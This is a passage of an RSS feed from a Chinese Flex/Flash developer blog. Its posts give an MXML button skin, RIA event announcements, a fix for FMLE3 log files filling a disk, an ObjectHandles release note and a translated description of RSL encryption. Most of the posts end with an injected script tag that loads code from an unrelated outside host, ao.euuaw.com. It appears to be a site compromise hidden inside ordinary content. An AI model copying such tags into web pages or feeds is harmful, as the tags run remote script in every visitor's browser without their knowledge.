        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:State</span> name=<span style="color: #ff0000;">&quot;up&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:State</span> name=<span style="color: #ff0000;">&quot;down&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:State</span> name=<span style="color: #ff0000;">&quot;over&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:State</span> name=<span style="color: #ff0000;">&quot;disabled&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:states</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:Rect</span> id=<span style="color: #ff0000;">&quot;lightRect&quot;</span> left=<span style="color: #ff0000;">&quot;0&quot;</span> right=<span style="color: #ff0000;">&quot;0&quot;</span> top=<span style="color: #ff0000;">&quot;0&quot;</span> bottom=<span style="color: #ff0000;">&quot;0&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:stroke</span><span style="color: #7400FF;">&gt;</span></span>
            <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:SolidColorStroke</span> color=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> caps=<span style="color: #ff0000;">&quot;none&quot;</span> joints=<span style="color: #ff0000;">&quot;miter&quot;</span> miterLimit=<span style="color: #ff0000;">&quot;4&quot;</span> weight=<span style="color: #ff0000;">&quot;1&quot;</span> </span>
<span style="color: #000000;">                                alpha=<span style="color: #ff0000;">&quot;0.1&quot;</span> alpha.down=<span style="color: #ff0000;">&quot;0.15&quot;</span> alpha.disabled=<span style="color: #ff0000;">&quot;0.05&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:stroke</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:Rect</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:Rect</span> top=<span style="color: #ff0000;">&quot;1&quot;</span> bottom=<span style="color: #ff0000;">&quot;1&quot;</span> right=<span style="color: #ff0000;">&quot;1&quot;</span> left=<span style="color: #ff0000;">&quot;1&quot;</span> id=<span style="color: #ff0000;">&quot;innerRect&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:stroke</span><span style="color: #7400FF;">&gt;</span></span>
            <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:SolidColorStroke</span> weight=<span style="color: #ff0000;">&quot;1&quot;</span> caps=<span style="color: #ff0000;">&quot;none&quot;</span> miterLimit=<span style="color: #ff0000;">&quot;4&quot;</span> joints=<span style="color: #ff0000;">&quot;miter&quot;</span> color=<span style="color: #ff0000;">&quot;#000000&quot;</span> alpha=<span style="color: #ff0000;">&quot;0.6&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:stroke</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:Rect</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:Rect</span> id=<span style="color: #ff0000;">&quot;innerLightRect&quot;</span> top=<span style="color: #ff0000;">&quot;2&quot;</span> right=<span style="color: #ff0000;">&quot;2&quot;</span> left=<span style="color: #ff0000;">&quot;2&quot;</span> bottom=<span style="color: #ff0000;">&quot;2&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:fill</span><span style="color: #7400FF;">&gt;</span></span>
            <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:LinearGradient</span> rotation=<span style="color: #ff0000;">&quot;90&quot;</span><span style="color: #7400FF;">&gt;</span></span>
                <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:GradientEntry</span> color=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.over=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.down=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.disabled=<span style="color: #ff0000;">&quot;#000000&quot;</span></span>
<span style="color: #000000;">                                 alpha=<span style="color: #ff0000;">&quot;0.1&quot;</span> alpha.over=<span style="color: #ff0000;">&quot;0.15&quot;</span> alpha.down=<span style="color: #ff0000;">&quot;0.05&quot;</span> alpha.disabled=<span style="color: #ff0000;">&quot;0.3&quot;</span></span>
<span style="color: #000000;">                                 ratio=<span style="color: #ff0000;">&quot;0&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
                <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:GradientEntry</span> color=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.over=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.down=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.disabled=<span style="color: #ff0000;">&quot;#000000&quot;</span></span>
<span style="color: #000000;">                                 alpha=<span style="color: #ff0000;">&quot;0.0&quot;</span> alpha.over=<span style="color: #ff0000;">&quot;0.05&quot;</span> alpha.down=<span style="color: #ff0000;">&quot;0.0&quot;</span> alpha.disabled=<span style="color: #ff0000;">&quot;0.3&quot;</span></span>
<span style="color: #000000;">                                 ratio=<span style="color: #ff0000;">&quot;1&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
            <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:LinearGradient</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:fill</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:Rect</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:Rect</span> id=<span style="color: #ff0000;">&quot;innerLightStroke&quot;</span> top=<span style="color: #ff0000;">&quot;2&quot;</span> right=<span style="color: #ff0000;">&quot;2&quot;</span> left=<span style="color: #ff0000;">&quot;2&quot;</span> bottom=<span style="color: #ff0000;">&quot;2&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:stroke</span><span style="color: #7400FF;">&gt;</span></span>
            <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:LinearGradientStroke</span> weight=<span style="color: #ff0000;">&quot;1&quot;</span> caps=<span style="color: #ff0000;">&quot;none&quot;</span> miterLimit=<span style="color: #ff0000;">&quot;4&quot;</span> joints=<span style="color: #ff0000;">&quot;miter&quot;</span> rotation=<span style="color: #ff0000;">&quot;90&quot;</span><span style="color: #7400FF;">&gt;</span></span>
                <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:GradientEntry</span> color=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.down=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> color.disabled=<span style="color: #ff0000;">&quot;#ffffff&quot;</span></span>
<span style="color: #000000;">                                 alpha=<span style="color: #ff0000;">&quot;0.08&quot;</span> </span>
<span style="color: #000000;">                                 ratio=<span style="color: #ff0000;">&quot;0&quot;</span> alpha.down=<span style="color: #ff0000;">&quot;0.05&quot;</span> alpha.disabled=<span style="color: #ff0000;">&quot;0.05&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
                <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:GradientEntry</span> color=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> alpha=<span style="color: #ff0000;">&quot;0.03&quot;</span> ratio=<span style="color: #ff0000;">&quot;1&quot;</span> ratio.down=<span style="color: #ff0000;">&quot;1&quot;</span> color.down=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> alpha.down=<span style="color: #ff0000;">&quot;0.01&quot;</span> color.disabled=<span style="color: #ff0000;">&quot;#ffffff&quot;</span> alpha.disabled=<span style="color: #ff0000;">&quot;0.05&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
            <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:LinearGradientStroke</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:stroke</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:Rect</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #808080; font-style: italic;">&lt;!-- background --&gt;</span></span>
    <span style="color: #000000;"><span style="color: #808080; font-style: italic;">&lt;!-- shadow (down state only) --&gt;</span></span>
    <span style="color: #000000;"><span style="color: #808080; font-style: italic;">&lt;!-- label --&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:Label</span> id=<span style="color: #ff0000;">&quot;labelDisplay&quot;</span> </span>
<span style="color: #000000;">                text=<span style="color: #ff0000;">&quot;(Label)&quot;</span></span>
<span style="color: #000000;">                left=<span style="color: #ff0000;">&quot;6&quot;</span> right=<span style="color: #ff0000;">&quot;6&quot;</span> top=<span style="color: #ff0000;">&quot;5&quot;</span> bottom=<span style="color: #ff0000;">&quot;5&quot;</span> </span>
<span style="color: #000000;">                textAlign=<span style="color: #ff0000;">&quot;center&quot;</span> verticalAlign=<span style="color: #ff0000;">&quot;middle&quot;</span></span>
<span style="color: #000000;">                horizontalCenter=<span style="color: #ff0000;">&quot;0&quot;</span> verticalCenter=<span style="color: #ff0000;">&quot;1&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:Label</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:layout</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:BasicLayout</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:layout</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/s:SparkSkin</span><span style="color: #7400FF;">&gt;</span></span></pre></div></div>

<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/727/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>近期的RIA活动</title>
		<link>http://www.kingnare.com/auzn/archives/720</link>
		<comments>http://www.kingnare.com/auzn/archives/720#comments</comments>
		<pubDate>Tue, 16 Mar 2010 05:30:22 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=720</guid>
		<description><![CDATA[<p>新年新气象, 近来好消息不断:</p>
3月28日•上海 浦东•中国Flash开发者交流会
RIA天地行之2010北京技术精英论坛开始报名了！
奥多比平台技术峰会（Adobe Flash  Platform Summit）
<p>可惜的是前两场活动时间上有冲突  </p>
]]></description>
			<content:encoded><![CDATA[<p>新年新气象, 近来好消息不断:</p>
<h6><span style="text-decoration: underline;"><a href="http://riaoo.com/?p=1579">3月28日•上海 浦东•中国Flash开发者交流会</a></span></h6>
<h6><span style="text-decoration: underline;"><a href="http://flash.9ria.com/thread-46461-1-1.html">RIA天地行之2010北京技术精英论坛开始报名了！</a></span></h6>
<h6><span style="text-decoration: underline;"><a title="奥多比平台技术峰会（Adobe Flash Platform Summit）" href="http://www.adobechinadeveloper.com/FlashPlatformSummit/index.htm" target="_blank">奥多比平台技术峰会（Adobe Flash  Platform Summit）</a></span></h6>
<p>可惜的是前两场活动时间上有冲突 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/720/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Adobe Flash Media Live Encoder 3的日志</title>
		<link>http://www.kingnare.com/auzn/archives/713</link>
		<comments>http://www.kingnare.com/auzn/archives/713#comments</comments>
		<pubDate>Tue, 23 Feb 2010 04:03:00 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>
		<category><![CDATA[FMLE3]]></category>
		<category><![CDATA[log]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=713</guid>
		<description><![CDATA[<p>系统盘空间不断减少, 清理系统补丁文件, 临时文件以及浏览器缓存后问题依旧.
随后查到C:\Users\king\Videos(&#8220;我的视频&#8221;),发现此文件夹有将近5GB.
均是以&#8221;stats_&#8221;为前缀命名的文件夹, 多则几百兆, 少则十几兆.
打开后均含Audio, Muxer, rtmp三个文件夹.
有rtmp字样, 加上最近在使用FMLE3, 料想这是软件生成的日志.
打开配置文件, 果真其中的日志功能是打开的, 且默认是保存到MyVideos中.</p>
<p>&#60;logs&#62;
&#60;!&#8211; Enable/Disable log writings.                                            &#8211;&#62;
&#60;!&#8211; &#8220;true&#8221;  to Enable log writings.                                        &#8211;&#62;
&#60;!&#8211; &#8220;false&#8221; to Disable.                                                   [...]]]></description>
			<content:encoded><![CDATA[<p>系统盘空间不断减少, 清理系统补丁文件, 临时文件以及浏览器缓存后问题依旧.<br />
随后查到C:\Users\king\Videos(&#8220;我的视频&#8221;),发现此文件夹有将近5GB.<br />
均是以&#8221;stats_&#8221;为前缀命名的文件夹, 多则几百兆, 少则十几兆.<br />
打开后均含Audio, Muxer, rtmp三个文件夹.<br />
有rtmp字样, 加上最近在使用FMLE3, 料想这是软件生成的日志.<br />
打开配置文件, 果真其中的日志功能是打开的, 且默认是保存到MyVideos中.</p>
<blockquote><p>&lt;logs&gt;<br />
&lt;!&#8211; Enable/Disable log writings.                                            &#8211;&gt;<br />
&lt;!&#8211; &#8220;true&#8221;  to Enable log writings.                                        &#8211;&gt;<br />
&lt;!&#8211; &#8220;false&#8221; to Disable.                                                    &#8211;&gt;<br />
&lt;enable&gt;true&lt;/enable&gt;<br />
&lt;!&#8211; Logs Directory path.                                                    &#8211;&gt;<br />
&lt;!&#8211; For Example, &#8220;C:\FMLE Logs&#8221;.                                            &#8211;&gt;<br />
&lt;!&#8211; By Default MyVideos is taken.                                            &#8211;&gt;<br />
&lt;path&gt;&lt;/path&gt;<br />
&lt;/logs&gt;</p></blockquote>
<p>重新设置了日志目录, 现在系统盘解放了 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/713/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.kingnare.com/auzn/archives/502</link>
		<comments>http://www.kingnare.com/auzn/archives/502#comments</comments>
		<pubDate>Tue, 01 Dec 2009 20:52:17 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=502</guid>
		<description><![CDATA[<p>以前在做白板时曾考虑过这个组件, 但当时的版本没有旋转功能, 于是放弃了.
现在好了, V2已经支持旋转, 并且发布了FLEX SDK 4的版本.
点击打开演示
原文地址:</p>
<p>http://www.rogue-development.com/blog2/2009/11/objecthandles-version-2-first-release/</p>
<p>大意为:
&#8220;为了广大的ObjectHandles fans,我把ObjectHandles 2使用FB4/Flex 4 SDK, 并且修改了一些BUG, 同时搭建了个环境, 方便将OH2发布到google code.现在大家可以在google code的下载页面中下载OH2了(之前只能从subversion中提取代码和程序).发布包中含有源代码, 文档以及可用于Flex 3及Flex 4的预编译SWC.
我想尽快的为这个版的ObjectHandles编写出更好的使用文档.如果你在用ObjectHandles第1版,移植到第2版可能不是一个简单的事情.工作机理有很大的变化了.&#8221;
下载地址:</p>
<p>http://code.google.com/p/flex-object-handles/downloads/list</p>
<p></p>
]]></description>
			<content:encoded><![CDATA[<p>以前在做白板时曾考虑过这个组件, 但当时的版本没有旋转功能, 于是放弃了.<br />
现在好了, V2已经支持旋转, 并且发布了FLEX SDK 4的版本.<br />
<strong><a target="_blank" href="http://www.kingnare.com/auzn/attachments/month_0911/Obj&#101;ctHandles2Example.swf">点击打开演示</a></strong><br />
原文地址:</p>
<p>http://www.rogue-development.com/blog2/2009/11/objecthandles-version-2-first-release/</p>
<p>大意为:<br />
&#8220;为了广大的ObjectHandles fans,我把ObjectHandles 2使用FB4/Flex 4 SDK, 并且修改了一些BUG, 同时搭建了个环境, 方便将OH2发布到google code.现在大家可以在google code的下载页面中下载OH2了(之前只能从subversion中提取代码和程序).发布包中含有源代码, 文档以及可用于Flex 3及Flex 4的预编译SWC.<br />
我想尽快的为这个版的ObjectHandles编写出更好的使用文档.如果你在用ObjectHandles第1版,移植到第2版可能不是一个简单的事情.工作机理有很大的变化了.&#8221;<br />
下载地址:</p>
<p>http://code.google.com/p/flex-object-handles/downloads/list</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/502/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RSA Encryption for Flex 4 RSLs</title>
		<link>http://www.kingnare.com/auzn/archives/507</link>
		<comments>http://www.kingnare.com/auzn/archives/507#comments</comments>
		<pubDate>Mon, 09 Nov 2009 08:29:26 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=507</guid>
		<description><![CDATA[<p>原文地址:</p>
<p>http://www.gridlinked.info/how-to-encrypt-flex-rsls/</p>
<p>这里截取并尝试翻译了一段FLEX程序初始化及此解密过程.
应用启动过程:
1. 首先, 为第1帧加载足够的数据.
2. Flash Player通过创建SystemManager实例执行加载数据.
3. SystemManager命令Flash Player停止在第一帧.
4. SystemManager创建Preloader,
通过它创建DownloadProgressBar控件并显示在客户界面上.
5. Preloader开始从FLEX SWF(或外部SWF)加载其余数据.
一旦FLEX框架及程序代码数据加载, System Manager跳到第2帧并初始化Application实例.
1) 所有的RSL及相关类现在已加载[到ApplicationDomain];
注意加载的顺序就是app编译时定义的顺序.
2) 所有应用程序使用的类定义(视图, 逻辑等)先加载到第2帧.
注意这里, 在第一帧的preloader代码甚至可以在FLEX框架类加载前, 安装补丁到其中.
3) 这种技术就被叫做&#8221;monkey-patching&#8221;, 会被用在后面提到的解密过程中.
6. 一旦Application实例创建, SystemManager设置
Application.systemManager指向自己,
之后你就可以访问SystemManager了.
7. Application在初始化处理开始前派发预初始化(preinitialize)事件.
8. Application继续创建内部实例.
application调用cr&#101;ateChilden()方法.
这时每个应用的组件被构造并调用自己的cr&#101;ateChilden()方法.
具体情况参考组件生命周期章节.
9. Application派发初始化(initialize)事件,
指明所有的组件已被初始化.当然, 此时所有的组件尚未布局.
10.最后,所有的子控件及容器被创建并设置大小及位置后,
Application就会派发creationComplete事件.
11.creationComplete事件派发后,
Preloader移除DownloadProgressBar 控件,
SystemManager将Application实例加到Flash Player的
显示列表中(Flash Player display list基本上是个树结构,
包含着可视及潜在可视对象,构成整个应用.
当向应用中添加或移除组件时,
基本上就是将它们从显示列表(display list)中添加或移除掉).
12.Application一旦添加到Flash Player显示列表中,
Application派发applicationComplete事件.
13.Application此时已被创建好并显示到屏幕上准备与用户交互了.
这种RSL的解密过程如下:
1.Flash Player加载已加密的RSL/SWF并同时派发RSLError事件;
这会停止预加载过程使程序&#8221;挂起&#8221;.
2.中断掉这个事件防止由于冒泡机制被其他监听器捕获;
这能有效的阻止加载序列中的其他RSL.
3.使用Nitro-LM,异步请求RSA解密密钥.
4.重新加载加密的RSL(清除已加载的SWF字节码).
5.解密数据.
6.将已经解密的数据加载到AVM中.
7.通知Preloade恢复加载其他等待的RSL.
很巧妙的一个方法 
</p>
]]></description>
			<content:encoded><![CDATA[<p>原文地址:</p>
<p>http://www.gridlinked.info/how-to-encrypt-flex-rsls/</p>
<p>这里截取并尝试翻译了一段FLEX程序初始化及此解密过程.<br />
应用<strong>启动过程</strong>:<br />
1. 首先, 为第1帧加载足够的数据.<br />
2. Flash Player通过创建SystemManager实例执行加载数据.<br />
3. SystemManager命令Flash Player停止在第一帧.<br />
4. SystemManager创建Preloader,<br />
通过它创建DownloadProgressBar控件并显示在客户界面上.<br />
5. Preloader开始从FLEX SWF(或外部SWF)加载其余数据.<br />
一旦FLEX框架及程序代码数据加载, System Manager跳到第2帧并初始化Application实例.<br />
1) 所有的RSL及相关类现在已加载[到ApplicationDomain];<br />
注意加载的顺序就是app编译时定义的顺序.<br />
2) 所有应用程序使用的类定义(视图, 逻辑等)先加载到第2帧.<br />
注意这里, 在第一帧的preloader代码甚至可以在FLEX框架类加载前, 安装补丁到其中.<br />
3) 这种技术就被叫做&#8221;monkey-patching&#8221;, 会被用在后面提到的解密过程中.<br />
6. 一旦Application实例创建, SystemManager设置<br />
Application.systemManager指向自己,<br />
之后你就可以访问SystemManager了.<br />
7. Application在初始化处理开始前派发预初始化(preinitialize)事件.<br />
8. Application继续创建内部实例.<br />
application调用cr&#101;ateChilden()方法.<br />
这时每个应用的组件被构造并调用自己的cr&#101;ateChilden()方法.<br />
具体情况参考组件生命周期章节.<br />
9. Application派发初始化(initialize)事件,<br />
指明所有的组件已被初始化.当然, 此时所有的组件尚未布局.<br />
10.最后,所有的子控件及容器被创建并设置大小及位置后,<br />
Application就会派发creationComplete事件.<br />
11.creationComplete事件派发后,<br />
Preloader移除DownloadProgressBar 控件,<br />
SystemManager将Application实例加到Flash Player的<br />
显示列表中(Flash Player display list基本上是个树结构,<br />
包含着可视及潜在可视对象,构成整个应用.<br />
当向应用中添加或移除组件时,<br />
基本上就是将它们从显示列表(display list)中添加或移除掉).<br />
12.Application一旦添加到Flash Player显示列表中,<br />
Application派发applicationComplete事件.<br />
13.Application此时已被创建好并显示到屏幕上准备与用户交互了.<br />
这种RSL的<strong>解密过程</strong>如下:<br />
1.Flash Player加载已加密的RSL/SWF并同时派发RSLError事件;<br />
这会停止预加载过程使程序&#8221;挂起&#8221;.<br />
2.中断掉这个事件防止由于冒泡机制被其他监听器捕获;<br />
这能有效的阻止加载序列中的其他RSL.<br />
3.使用Nitro-LM,异步请求RSA解密密钥.<br />
4.重新加载加密的RSL(清除已加载的SWF字节码).<br />
5.解密数据.<br />
6.将已经解密的数据加载到AVM中.<br />
7.通知Preloade恢复加载其他等待的RSL.<br />
很巧妙的一个方法 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/507/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
